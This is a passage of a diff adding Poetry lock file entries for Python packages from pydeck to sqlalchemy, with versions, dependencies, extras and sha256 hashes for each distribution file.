+ {file = "pydeck-0.8.1b0-py2.py3-none-any.whl", hash = "sha256:c89b3dd76f9991140a33b886b336c762105e9c9def8e842e891bc72dbce8a4ce"},
+ {file = "pydeck-0.8.1b0.tar.gz", hash = "sha256:9e0a67890ab061b8c6080e06f8c780934c00355a7114291c884f055f3fc0dc25"},
+]
+
+[package.dependencies]
+jinja2 = ">=2.10.1"
+numpy = ">=1.16.4"
+
+[package.extras]
+carto = ["pydeck-carto"]
+jupyter = ["ipykernel (>=5.1.2)", "ipython (>=5.8.0)", "ipywidgets (>=7,<8)", "traitlets (>=4.3.2)"]
+
+[[package]]
+name = "pygments"
+version = "2.15.1"
+description = "Pygments is a syntax highlighting package written in Python."
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "Pygments-2.15.1-py3-none-any.whl", hash = "sha256:db2db3deb4b4179f399a09054b023b6a586b76499d36965813c71aa8ed7b5fd1"},
+ {file = "Pygments-2.15.1.tar.gz", hash = "sha256:8ace4d3c1dd481894b2005f560ead0f9f19ee64fe983366be1a21e171d12775c"},
+]
+
+[package.extras]
+plugins = ["importlib-metadata"]
+
+[[package]]
+name = "pyjwt"
+version = "2.7.0"
+description = "JSON Web Token implementation in Python"
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "PyJWT-2.7.0-py3-none-any.whl", hash = "sha256:ba2b425b15ad5ef12f200dc67dd56af4e26de2331f965c5439994dad075876e1"},
+ {file = "PyJWT-2.7.0.tar.gz", hash = "sha256:bd6ca4a3c4285c1a2d4349e5a035fdf8fb94e04ccd0fcbe6ba289dae9cc3e074"},
+]
+
+[package.extras]
+crypto = ["cryptography (>=3.4.0)"]
+dev = ["coverage[toml] (==5.0.4)", "cryptography (>=3.4.0)", "pre-commit", "pytest (>=6.0.0,<7.0.0)", "sphinx (>=4.5.0,<5.0.0)", "sphinx-rtd-theme", "zope.interface"]
+docs = ["sphinx (>=4.5.0,<5.0.0)", "sphinx-rtd-theme", "zope.interface"]
+tests = ["coverage[toml] (==5.0.4)", "pytest (>=6.0.0,<7.0.0)"]
+
+[[package]]
+name = "pymdown-extensions"
+version = "10.0.1"
+description = "Extension pack for Python Markdown."
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "pymdown_extensions-10.0.1-py3-none-any.whl", hash = "sha256:ae66d84013c5d027ce055693e09a4628b67e9dec5bce05727e45b0918e36f274"},
+ {file = "pymdown_extensions-10.0.1.tar.gz", hash = "sha256:b44e1093a43b8a975eae17b03c3a77aad4681b3b56fce60ce746dbef1944c8cb"},
+]
+
+[package.dependencies]
+markdown = ">=3.2"
+pyyaml = "*"
+
+[[package]]
+name = "pympler"
+version = "1.0.1"
+description = "A development tool to measure, monitor and analyze the memory behavior of Python objects."
+category = "main"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "Pympler-1.0.1-py3-none-any.whl", hash = "sha256:d260dda9ae781e1eab6ea15bacb84015849833ba5555f141d2d9b7b7473b307d"},
+ {file = "Pympler-1.0.1.tar.gz", hash = "sha256:993f1a3599ca3f4fcd7160c7545ad06310c9e12f70174ae7ae8d4e25f6c5d3fa"},
+]
+
+[[package]]
+name = "pyparsing"
+version = "3.0.9"
+description = "pyparsing module - Classes and methods to define and execute parsing grammars"
+category = "main"
+optional = false
+python-versions = ">=3.6.8"
+files = [
+ {file = "pyparsing-3.0.9-py3-none-any.whl", hash = "sha256:5026bae9a10eeaefb61dab2f09052b9f4307d44aee4eda64b309723d8d206bbc"},
+ {file = "pyparsing-3.0.9.tar.gz", hash = "sha256:2b020ecf7d21b687f219b71ecad3631f644a47f01403fa1d1036b0c6416d70fb"},
+]
+
+[package.extras]
+diagrams = ["jinja2", "railroad-diagrams"]
+
+[[package]]
+name = "pyrsistent"
+version = "0.19.3"
+description = "Persistent/Functional/Immutable data structures"
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "pyrsistent-0.19.3-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:20460ac0ea439a3e79caa1dbd560344b64ed75e85d8703943e0b66c2a6150e4a"},
+ {file = "pyrsistent-0.19.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4c18264cb84b5e68e7085a43723f9e4c1fd1d935ab240ce02c0324a8e01ccb64"},
+ {file = "pyrsistent-0.19.3-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4b774f9288dda8d425adb6544e5903f1fb6c273ab3128a355c6b972b7df39dcf"},
+ {file = "pyrsistent-0.19.3-cp310-cp310-win32.whl", hash = "sha256:5a474fb80f5e0d6c9394d8db0fc19e90fa540b82ee52dba7d246a7791712f74a"},
+ {file = "pyrsistent-0.19.3-cp310-cp310-win_amd64.whl", hash = "sha256:49c32f216c17148695ca0e02a5c521e28a4ee6c5089f97e34fe24163113722da"},
+ {file = "pyrsistent-0.19.3-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:f0774bf48631f3a20471dd7c5989657b639fd2d285b861237ea9e82c36a415a9"},
+ {file = "pyrsistent-0.19.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3ab2204234c0ecd8b9368dbd6a53e83c3d4f3cab10ecaf6d0e772f456c442393"},
+ {file = "pyrsistent-0.19.3-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e42296a09e83028b3476f7073fcb69ffebac0e66dbbfd1bd847d61f74db30f19"},
+ {file = "pyrsistent-0.19.3-cp311-cp311-win32.whl", hash = "sha256:64220c429e42a7150f4bfd280f6f4bb2850f95956bde93c6fda1b70507af6ef3"},
+ {file = "pyrsistent-0.19.3-cp311-cp311-win_amd64.whl", hash = "sha256:016ad1afadf318eb7911baa24b049909f7f3bb2c5b1ed7b6a8f21db21ea3faa8"},
+ {file = "pyrsistent-0.19.3-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:c4db1bd596fefd66b296a3d5d943c94f4fac5bcd13e99bffe2ba6a759d959a28"},
+ {file = "pyrsistent-0.19.3-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:aeda827381f5e5d65cced3024126529ddc4289d944f75e090572c77ceb19adbf"},
+ {file = "pyrsistent-0.19.3-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:42ac0b2f44607eb92ae88609eda931a4f0dfa03038c44c772e07f43e738bcac9"},
+ {file = "pyrsistent-0.19.3-cp37-cp37m-win32.whl", hash = "sha256:e8f2b814a3dc6225964fa03d8582c6e0b6650d68a232df41e3cc1b66a5d2f8d1"},
+ {file = "pyrsistent-0.19.3-cp37-cp37m-win_amd64.whl", hash = "sha256:c9bb60a40a0ab9aba40a59f68214eed5a29c6274c83b2cc206a359c4a89fa41b"},
+ {file = "pyrsistent-0.19.3-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:a2471f3f8693101975b1ff85ffd19bb7ca7dd7c38f8a81701f67d6b4f97b87d8"},
+ {file = "pyrsistent-0.19.3-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:cc5d149f31706762c1f8bda2e8c4f8fead6e80312e3692619a75301d3dbb819a"},
+ {file = "pyrsistent-0.19.3-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3311cb4237a341aa52ab8448c27e3a9931e2ee09561ad150ba94e4cfd3fc888c"},
+ {file = "pyrsistent-0.19.3-cp38-cp38-win32.whl", hash = "sha256:f0e7c4b2f77593871e918be000b96c8107da48444d57005b6a6bc61fb4331b2c"},
+ {file = "pyrsistent-0.19.3-cp38-cp38-win_amd64.whl", hash = "sha256:c147257a92374fde8498491f53ffa8f4822cd70c0d85037e09028e478cababb7"},
+ {file = "pyrsistent-0.19.3-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:b735e538f74ec31378f5a1e3886a26d2ca6351106b4dfde376a26fc32a044edc"},
+ {file = "pyrsistent-0.19.3-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:99abb85579e2165bd8522f0c0138864da97847875ecbd45f3e7e2af569bfc6f2"},
+ {file = "pyrsistent-0.19.3-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3a8cb235fa6d3fd7aae6a4f1429bbb1fec1577d978098da1252f0489937786f3"},
+ {file = "pyrsistent-0.19.3-cp39-cp39-win32.whl", hash = "sha256:c74bed51f9b41c48366a286395c67f4e894374306b197e62810e0fdaf2364da2"},
+ {file = "pyrsistent-0.19.3-cp39-cp39-win_amd64.whl", hash = "sha256:878433581fc23e906d947a6814336eee031a00e6defba224234169ae3d3d6a98"},
+ {file = "pyrsistent-0.19.3-py3-none-any.whl", hash = "sha256:ccf0d6bd208f8111179f0c26fdf84ed7c3891982f2edaeae7422575f47e66b64"},
+ {file = "pyrsistent-0.19.3.tar.gz", hash = "sha256:1a2994773706bbb4995c31a97bc94f1418314923bd1048c6d964837040376440"},
+]
+
+[[package]]
+name = "python-dateutil"
+version = "2.8.2"
+description = "Extensions to the standard Python datetime module"
+category = "main"
+optional = false
+python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,>=2.7"
+files = [
+ {file = "python-dateutil-2.8.2.tar.gz", hash = "sha256:0123cacc1627ae19ddf3c27a5de5bd67ee4586fbdd6440d9748f8abb483d3e86"},
+ {file = "python_dateutil-2.8.2-py2.py3-none-any.whl", hash = "sha256:961d03dc3453ebbc59dbdea9e4e11c5651520a876d0f4db161e8674aae935da9"},
+]
+
+[package.dependencies]
+six = ">=1.5"
+
+[[package]]
+name = "python-decouple"
+version = "3.8"
+description = "Strict separation of settings from code."
+category = "main"
+optional = false
+python-versions = "*"
+files = [
+ {file = "python-decouple-3.8.tar.gz", hash = "sha256:ba6e2657d4f376ecc46f77a3a615e058d93ba5e465c01bbe57289bfb7cce680f"},
+ {file = "python_decouple-3.8-py3-none-any.whl", hash = "sha256:d0d45340815b25f4de59c974b855bb38d03151d81b037d9e3f463b0c9f8cbd66"},
+]
+
+[[package]]
+name = "pytz"
+version = "2023.3"
+description = "World timezone definitions, modern and historical"
+category = "main"
+optional = false
+python-versions = "*"
+files = [
+ {file = "pytz-2023.3-py2.py3-none-any.whl", hash = "sha256:a151b3abb88eda1d4e34a9814df37de2a80e301e68ba0fd856fb9b46bfbbbffb"},
+ {file = "pytz-2023.3.tar.gz", hash = "sha256:1d8ce29db189191fb55338ee6d0387d82ab59f3d00eac103412d64e0ebd0c588"},
+]
+
+[[package]]
+name = "pytz-deprecation-shim"
+version = "0.1.0.post0"
+description = "Shims to make deprecation of pytz easier"
+category = "main"
+optional = false
+python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,>=2.7"
+files = [
+ {file = "pytz_deprecation_shim-0.1.0.post0-py2.py3-none-any.whl", hash = "sha256:8314c9692a636c8eb3bda879b9f119e350e93223ae83e70e80c31675a0fdc1a6"},
+ {file = "pytz_deprecation_shim-0.1.0.post0.tar.gz", hash = "sha256:af097bae1b616dde5c5744441e2ddc69e74dfdcb0c263129610d85b87445a59d"},
+]
+
+[package.dependencies]
+tzdata = {version = "*", markers = "python_version >= \"3.6\""}
+
+[[package]]
+name = "pyyaml"
+version = "6.0"
+description = "YAML parser and emitter for Python"
+category = "main"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "PyYAML-6.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:d4db7c7aef085872ef65a8fd7d6d09a14ae91f691dec3e87ee5ee0539d516f53"},
+ {file = "PyYAML-6.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:9df7ed3b3d2e0ecfe09e14741b857df43adb5a3ddadc919a2d94fbdf78fea53c"},
+ {file = "PyYAML-6.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:77f396e6ef4c73fdc33a9157446466f1cff553d979bd00ecb64385760c6babdc"},
+ {file = "PyYAML-6.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a80a78046a72361de73f8f395f1f1e49f956c6be882eed58505a15f3e430962b"},
+ {file = "PyYAML-6.0-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:f84fbc98b019fef2ee9a1cb3ce93e3187a6df0b2538a651bfb890254ba9f90b5"},
+ {file = "PyYAML-6.0-cp310-cp310-win32.whl", hash = "sha256:2cd5df3de48857ed0544b34e2d40e9fac445930039f3cfe4bcc592a1f836d513"},
+ {file = "PyYAML-6.0-cp310-cp310-win_amd64.whl", hash = "sha256:daf496c58a8c52083df09b80c860005194014c3698698d1a57cbcfa182142a3a"},
+ {file = "PyYAML-6.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:d4b0ba9512519522b118090257be113b9468d804b19d63c71dbcf4a48fa32358"},
+ {file = "PyYAML-6.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:81957921f441d50af23654aa6c5e5eaf9b06aba7f0a19c18a538dc7ef291c5a1"},
+ {file = "PyYAML-6.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:afa17f5bc4d1b10afd4466fd3a44dc0e245382deca5b3c353d8b757f9e3ecb8d"},
+ {file = "PyYAML-6.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:dbad0e9d368bb989f4515da330b88a057617d16b6a8245084f1b05400f24609f"},
+ {file = "PyYAML-6.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:432557aa2c09802be39460360ddffd48156e30721f5e8d917f01d31694216782"},
+ {file = "PyYAML-6.0-cp311-cp311-win32.whl", hash = "sha256:bfaef573a63ba8923503d27530362590ff4f576c626d86a9fed95822a8255fd7"},
+ {file = "PyYAML-6.0-cp311-cp311-win_amd64.whl", hash = "sha256:01b45c0191e6d66c470b6cf1b9531a771a83c1c4208272ead47a3ae4f2f603bf"},
+ {file = "PyYAML-6.0-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:897b80890765f037df3403d22bab41627ca8811ae55e9a722fd0392850ec4d86"},
+ {file = "PyYAML-6.0-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:50602afada6d6cbfad699b0c7bb50d5ccffa7e46a3d738092afddc1f9758427f"},
+ {file = "PyYAML-6.0-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:48c346915c114f5fdb3ead70312bd042a953a8ce5c7106d5bfb1a5254e47da92"},
+ {file = "PyYAML-6.0-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:98c4d36e99714e55cfbaaee6dd5badbc9a1ec339ebfc3b1f52e293aee6bb71a4"},
+ {file = "PyYAML-6.0-cp36-cp36m-win32.whl", hash = "sha256:0283c35a6a9fbf047493e3a0ce8d79ef5030852c51e9d911a27badfde0605293"},
+ {file = "PyYAML-6.0-cp36-cp36m-win_amd64.whl", hash = "sha256:07751360502caac1c067a8132d150cf3d61339af5691fe9e87803040dbc5db57"},
+ {file = "PyYAML-6.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:819b3830a1543db06c4d4b865e70ded25be52a2e0631ccd2f6a47a2822f2fd7c"},
+ {file = "PyYAML-6.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:473f9edb243cb1935ab5a084eb238d842fb8f404ed2193a915d1784b5a6b5fc0"},
+ {file = "PyYAML-6.0-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:0ce82d761c532fe4ec3f87fc45688bdd3a4c1dc5e0b4a19814b9009a29baefd4"},
+ {file = "PyYAML-6.0-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:231710d57adfd809ef5d34183b8ed1eeae3f76459c18fb4a0b373ad56bedcdd9"},
+ {file = "PyYAML-6.0-cp37-cp37m-win32.whl", hash = "sha256:c5687b8d43cf58545ade1fe3e055f70eac7a5a1a0bf42824308d868289a95737"},
+ {file = "PyYAML-6.0-cp37-cp37m-win_amd64.whl", hash = "sha256:d15a181d1ecd0d4270dc32edb46f7cb7733c7c508857278d3d378d14d606db2d"},
+ {file = "PyYAML-6.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:0b4624f379dab24d3725ffde76559cff63d9ec94e1736b556dacdfebe5ab6d4b"},
+ {file = "PyYAML-6.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:213c60cd50106436cc818accf5baa1aba61c0189ff610f64f4a3e8c6726218ba"},
+ {file = "PyYAML-6.0-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9fa600030013c4de8165339db93d182b9431076eb98eb40ee068700c9c813e34"},
+ {file = "PyYAML-6.0-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:277a0ef2981ca40581a47093e9e2d13b3f1fbbeffae064c1d21bfceba2030287"},
+ {file = "PyYAML-6.0-cp38-cp38-win32.whl", hash = "sha256:d4eccecf9adf6fbcc6861a38015c2a64f38b9d94838ac1810a9023a0609e1b78"},
+ {file = "PyYAML-6.0-cp38-cp38-win_amd64.whl", hash = "sha256:1e4747bc279b4f613a09eb64bba2ba602d8a6664c6ce6396a4d0cd413a50ce07"},
+ {file = "PyYAML-6.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:055d937d65826939cb044fc8c9b08889e8c743fdc6a32b33e2390f66013e449b"},
+ {file = "PyYAML-6.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:e61ceaab6f49fb8bdfaa0f92c4b57bcfbea54c09277b1b4f7ac376bfb7a7c174"},
+ {file = "PyYAML-6.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d67d839ede4ed1b28a4e8909735fc992a923cdb84e618544973d7dfc71540803"},
+ {file = "PyYAML-6.0-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:cba8c411ef271aa037d7357a2bc8f9ee8b58b9965831d9e51baf703280dc73d3"},
+ {file = "PyYAML-6.0-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:40527857252b61eacd1d9af500c3337ba8deb8fc298940291486c465c8b46ec0"},
+ {file = "PyYAML-6.0-cp39-cp39-win32.whl", hash = "sha256:b5b9eccad747aabaaffbc6064800670f0c297e52c12754eb1d976c57e4f74dcb"},
+ {file = "PyYAML-6.0-cp39-cp39-win_amd64.whl", hash = "sha256:b3d267842bf12586ba6c734f89d1f5b871df0273157918b0ccefa29deb05c21c"},
+ {file = "PyYAML-6.0.tar.gz", hash = "sha256:68fb519c14306fec9720a2a5b45bc9f0c8d1b9c72adf45c37baedfcd949c35a2"},
+]
+
+[[package]]
+name = "requests"
+version = "2.31.0"
+description = "Python HTTP for Humans."
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "requests-2.31.0-py3-none-any.whl", hash = "sha256:58cd2187c01e70e6e26505bca751777aa9f2ee0b7f4300988b709f44e013003f"},
+ {file = "requests-2.31.0.tar.gz", hash = "sha256:942c5a758f98d790eaed1a29cb6eefc7ffb0d1cf7af05c3d2791656dbd6ad1e1"},
+]
+
+[package.dependencies]
+certifi = ">=2017.4.17"
+charset-normalizer = ">=2,<4"
+idna = ">=2.5,<4"
+urllib3 = ">=1.21.1,<3"
+
+[package.extras]
+socks = ["PySocks (>=1.5.6,!=1.5.7)"]
+use-chardet-on-py3 = ["chardet (>=3.0.2,<6)"]
+
+[[package]]
+name = "rich"
+version = "13.4.1"
+description = "Render rich text, tables, progress bars, syntax highlighting, markdown and more to the terminal"
+category = "main"
+optional = false
+python-versions = ">=3.7.0"
+files = [
+ {file = "rich-13.4.1-py3-none-any.whl", hash = "sha256:d204aadb50b936bf6b1a695385429d192bc1fdaf3e8b907e8e26f4c4e4b5bf75"},
+ {file = "rich-13.4.1.tar.gz", hash = "sha256:76f6b65ea7e5c5d924ba80e322231d7cb5b5981aa60bfc1e694f1bc097fe6fe1"},
+]
+
+[package.dependencies]
+markdown-it-py = ">=2.2.0,<3.0.0"
+pygments = ">=2.13.0,<3.0.0"
+
+[package.extras]
+jupyter = ["ipywidgets (>=7.5.1,<9)"]
+
+[[package]]
+name = "six"
+version = "1.16.0"
+description = "Python 2 and 3 compatibility utilities"
+category = "main"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*"
+files = [
+ {file = "six-1.16.0-py2.py3-none-any.whl", hash = "sha256:8abb2f1d86890a2dfb989f9a77cfcfd3e47c2a354b01111771326f8aa26e0254"},
+ {file = "six-1.16.0.tar.gz", hash = "sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926"},
+]
+
+[[package]]
+name = "smmap"
+version = "5.0.0"
+description = "A pure Python implementation of a sliding window memory map manager"
+category = "main"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "smmap-5.0.0-py3-none-any.whl", hash = "sha256:2aba19d6a040e78d8b09de5c57e96207b09ed71d8e55ce0959eeee6c8e190d94"},
+ {file = "smmap-5.0.0.tar.gz", hash = "sha256:c840e62059cd3be204b0c9c9f74be2c09d5648eddd4580d9314c3ecde0b30936"},
+]
+
+[[package]]
+name = "soupsieve"
+version = "2.4.1"
+description = "A modern CSS selector implementation for Beautiful Soup."
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "soupsieve-2.4.1-py3-none-any.whl", hash = "sha256:1c1bfee6819544a3447586c889157365a27e10d88cde3ad3da0cf0ddf646feb8"},
+ {file = "soupsieve-2.4.1.tar.gz", hash = "sha256:89d12b2d5dfcd2c9e8c22326da9d9aa9cb3dfab0a83a024f05704076ee8d35ea"},
+]
+
+[[package]]
+name = "sqlalchemy"
+version = "2.0.15"
+description = "Database Abstraction Library"
+category = "main"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "SQLAlchemy-2.0.15-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:78303719c6f72af97814b0072ad18bee72e70adca8d95cf8fecd59c5e1ddb040"},
+ {file = "SQLAlchemy-2.0.15-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:9d810b4aacd5ef4e293aa4ea01f19fca53999e9edcfc4a8ef1146238b30bdc28"},
+ {file = "SQLAlchemy-2.0.15-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3fb5d09f1d51480f711b69fe28ad42e4f8b08600a85ab2473baee669e1257800"},
+ {file = "SQLAlchemy-2.0.15-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:51b19887c96d405599880da6a7cbdf8545a7e78ec5683e46a43bac8885e32d0f"},
+ {file = "SQLAlchemy-2.0.15-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:d6b17cb86908e7f88be14007d6afe7d2ab11966e373044137f96a6a4d83eb21c"},
+ {file = "SQLAlchemy-2.0.15-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:df25052b92bd514357a9b370d74f240db890ea79aaa428fb893520e10ee5bc18"},
+ {file = "SQLAlchemy-2.0.15-cp310-cp310-win32.whl", hash = "sha256:55ec62ddc0200b4fee94d11abbec7aa25948d5d21cb8df8807f4bdd3c51ba44b"},
+ {file = "SQLAlchemy-2.0.15-cp310-cp310-win_amd64.whl", hash = "sha256:ae1d8deb391ab39cc8f0d5844e588a115ae3717e607d91482023917f920f777f"},
+ {file = "SQLAlchemy-2.0.15-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:4670ce853cb25f72115a1bbe366ae13cf3f28fc5c87222df14f8d3d55d51816e"},
+ {file = "SQLAlchemy-2.0.15-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:cea7c4a3dfc2ca61f88a2b1ddd6b0bfbd116c9b1a361b3b66fd826034b833142"},
+ {file = "SQLAlchemy-2.0.15-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6f5784dfb2d45c19cde03c45c04a54bf47428610106197ed6e6fa79f33bc63d3"},
+ {file = "SQLAlchemy-2.0.15-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9b31ebde27575b3b0708673ec14f0c305c4564d995b545148ab7ac0f4d9b847a"},
+ {file = "SQLAlchemy-2.0.15-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:6b42913a0259267e9ee335da0c36498077799e59c5e332d506e72b4f32de781d"},
+ {file = "SQLAlchemy-2.0.15-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:6a3f8020e013e9b3b7941dcf20b0fc8f7429daaf7158760846731cbd8caa5e45"},
+ {file = "SQLAlchemy-2.0.15-cp311-cp311-win32.whl", hash = "sha256:88ab245ed2c96265441ed2818977be28c840cfa5204ba167425d6c26eb67b7e7"},
+ {file = "SQLAlchemy-2.0.15-cp311-cp311-win_amd64.whl", hash = "sha256:5cc48a7fda2b5c5b8860494d6c575db3a101a68416492105fed6591dc8a2728a"},
+ {file = "SQLAlchemy-2.0.15-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:f6fd3c88ea4b170d13527e93be1945e69facd917661d3725a63470eb683fbffe"},
+ {file = "SQLAlchemy-2.0.15-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1e885dacb167077df15af2f9ccdacbd7f5dd0d538a6d74b94074f2cefc7bb589"},
+ {file = "SQLAlchemy-2.0.15-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:201a99f922ac8c780b3929128fbd9df901418877c70e160e19adb05665e51c31"},
+ {file = "SQLAlchemy-2.0.15-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:e17fdcb8971e77c439113642ca8861f9465e21fc693bd3916654ceef3ac26883"},
+ {file = "SQLAlchemy-2.0.15-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:db269f67ed17b07e80aaa8fba1f650c0d84aa0bdd9d5352e4ac38d5bf47ac568"},
+ {file = "SQLAlchemy-2.0.15-cp37-cp37m-win32.whl", hash = "sha256:994a75b197662e0608b6a76935d7c345f7fd874eac0b7093d561033db61b0e8c"},
+ {file = "SQLAlchemy-2.0.15-cp37-cp37m-win_amd64.whl", hash = "sha256:4d61731a35eddb0f667774fe15e5a4831e444d066081d1e809e1b8a0e3f97cae"},
+ {file = "SQLAlchemy-2.0.15-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:f7f994a53c0e6b44a2966fd6bfc53e37d34b7dca34e75b6be295de6db598255e"},
+ {file = "SQLAlchemy-2.0.15-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:79bfe728219239bdc493950ea4a4d15b02138ecb304771f9024d0d6f5f4e3706"},
+ {file = "SQLAlchemy-2.0.15-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1d6320a1d175447dce63618ec997a53836de48ed3b44bbe952f0b4b399b19941"},
+ {file = "SQLAlchemy-2.0.15-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6f80a9c9a9af0e4bd5080cc0955ce70274c28e9b931ad7e0fb07021afcd32af6"},
+ {file = "SQLAlchemy-2.0.15-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:4a75fdb9a84072521bb2ebd31eefe1165d4dccea3039dda701a864f4b5daa17f"},
+ {file = "SQLAlchemy-2.0.15-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:21c89044fc48a25c2184eba332edeffbbf9367913bb065cd31538235d828f06f"},
+ {file = "SQLAlchemy-2.0.15-cp38-cp38-win32.whl", hash = "sha256:1a0754c2d9f0c7982bec0a31138e495ed1f6b8435d7e677c45be60ec18370acf"},
+ {file = "SQLAlchemy-2.0.15-cp38-cp38-win_amd64.whl", hash = "sha256:bc5c2b0da46c26c5f73f700834f871d0723e1e882641932468d56833bab09775"},
+ {file = "SQLAlchemy-2.0.15-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:670ecf74ee2e70b917028a06446ad26ff9b1195e84b09c3139c215123d57dc30"},
+ {file = "SQLAlchemy-2.0.15-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:d14282bf5b4de87f922db3c70858953fd081ef4f05dba6cca3dd705daffe1cc9"},
+ {file = "SQLAlchemy-2.0.15-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:256b2b9660e51ad7055a9835b12717416cf7288afcf465107413917b6bb2316f"},
+ {file = "SQLAlchemy-2.0.15-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:810199d1c5b43603a9e815ae9487aef3ab1ade7ed9c0c485e12519358929fbfe"},
